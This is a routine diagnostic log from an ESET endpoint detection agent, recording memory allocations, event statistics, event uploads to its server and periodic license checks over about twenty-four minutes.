2026-03-04 09:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2567 KB; BaseEvent: 613 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 215 KB; BatchSerializer::EventsQueueTag: 162 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67562 KB;
2026-03-04 09:30:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:26:30, To:, 2026-03-04 09:30:34, Duration (s):, 244, Events Per Second:, 16.881, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3410, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458561
2026-03-04 09:30:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s400ms.
2026-03-04 09:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1451 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 215 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 59 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 15 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65724 KB;
2026-03-04 09:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1812 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; BaseEvent: 234 KB; rules::ProcessConditionsCache: 201 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66298 KB;
2026-03-04 09:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2185 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 494 KB; BaseEvent: 392 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 106 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66830 KB;
2026-03-04 09:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:33:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:33:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:33:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:33:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2185 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 395 KB; TcpIpConnectionsManager: 342 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 107 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66681 KB;
2026-03-04 09:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2185 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 398 KB; TcpIpConnectionsManager: 199 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 107 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66540 KB;
2026-03-04 09:35:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2185 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 399 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 108 KB; CacheEntry: 97 KB; TcpIpConnectionsManager: 66 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66409 KB;
2026-03-04 09:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2185 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 399 KB; rules::ProcessConditionsCache: 177 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 108 KB; CacheEntry: 97 KB; TcpIpConnectionsManager: 66 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66409 KB;
2026-03-04 09:37:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:30:33, To:, 2026-03-04 09:37:34, Duration (s):, 421, Events Per Second:, 5.445, Events:, 2293, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 1922, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 368, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 261170
2026-03-04 09:37:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s252ms.
2026-03-04 09:37:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:32:43, To:, 2026-03-04 09:37:46, Duration (s):, 303, Events Per Second:, 15.912, Events:, 4825, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4032, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 792, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 536650
2026-03-04 09:37:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s405ms.
2026-03-04 09:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2186 KB; TcpIpConnectionsManager: 872 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; rules::ProcessConditionsCache: 204 KB; ModuleInfoCache: 113 KB; BaseEvent: 101 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66859 KB;
2026-03-04 09:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:38:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:38:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:38:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:38:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2555 KB; TcpIpConnectionsManager: 1033 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; BaseEvent: 278 KB; rules::ProcessConditionsCache: 195 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 73 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 67592 KB;
2026-03-04 09:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 3000 KB; TcpIpConnectionsManager: 1221 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; BaseEvent: 471 KB; rules::ProcessConditionsCache: 270 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 68561 KB;
2026-03-04 09:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 3369 KB; BaseEvent: 653 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; rules::ProcessConditionsCache: 243 KB; BatchSerializer::EventsQueueTag: 174 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; ProcessInfoCommandLineTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68480 KB;
2026-03-04 09:41:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:37:22, To:, 2026-03-04 09:41:22, Duration (s):, 240, Events Per Second:, 17.483, Events:, 4199, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3504, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 468774
2026-03-04 09:41:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s121ms.
2026-03-04 09:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1592 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; rules::ProcessConditionsCache: 230 KB; ModuleInfoCache: 113 KB; BaseEvent: 100 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65990 KB;
2026-03-04 09:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1969 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 284 KB; rules::ProcessConditionsCache: 257 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 76 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66611 KB;
2026-03-04 09:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:43:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:43:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:43:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:43:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2283 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 439 KB; rules::ProcessConditionsCache: 189 KB; BatchSerializer::EventsQueueTag: 116 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67024 KB;
2026-03-04 09:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2624 KB; BaseEvent: 608 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 527 KB; BatchSerializer::EventsQueueTag: 160 KB; rules::ProcessConditionsCache: 160 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67552 KB;
2026-03-04 09:45:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:41:21, To:, 2026-03-04 09:45:38, Duration (s):, 257, Events Per Second:, 15.859, Events:, 4076, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3369, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454396
2026-03-04 09:45:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s383ms.
2026-03-04 09:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1383 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; rules::ProcessConditionsCache: 255 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BaseEvent: 55 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 21 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 65746 KB;
2026-03-04 09:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1744 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; BaseEvent: 239 KB; rules::ProcessConditionsCache: 179 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 66 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66268 KB;
2026-03-04 09:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2106 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; BaseEvent: 418 KB; rules::ProcessConditionsCache: 162 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 112 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66847 KB;
2026-03-04 09:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:48:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:48:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:48:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:48:32 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2467 KB; ModuleMetadata: 603 KB; BaseEvent: 598 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BatchSerializer::EventsQueueTag: 159 KB; rules::ProcessConditionsCache: 154 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67408 KB;
2026-03-04 09:49:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:45:37, To:, 2026-03-04 09:49:42, Duration (s):, 245, Events Per Second:, 16.721, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 705, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456895
2026-03-04 09:49:44 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s404ms.
2026-03-04 09:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1376 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 526 KB; rules::ProcessConditionsCache: 132 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BaseEvent: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65538 KB;
2026-03-04 09:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1740 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; TcpIpConnectionsManager: 532 KB; BaseEvent: 216 KB; rules::ProcessConditionsCache: 129 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 56 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66132 KB;
2026-03-04 09:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2101 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; TcpIpConnectionsManager: 522 KB; BaseEvent: 395 KB; rules::ProcessConditionsCache: 114 KB; ModuleInfoCache: 113 KB; BatchSerializer::EventsQueueTag: 103 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66695 KB;
2026-03-04 09:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2460 KB; ModuleMetadata: 603 KB; BaseEvent: 569 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 149 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67254 KB;
2026-03-04 09:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:53:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
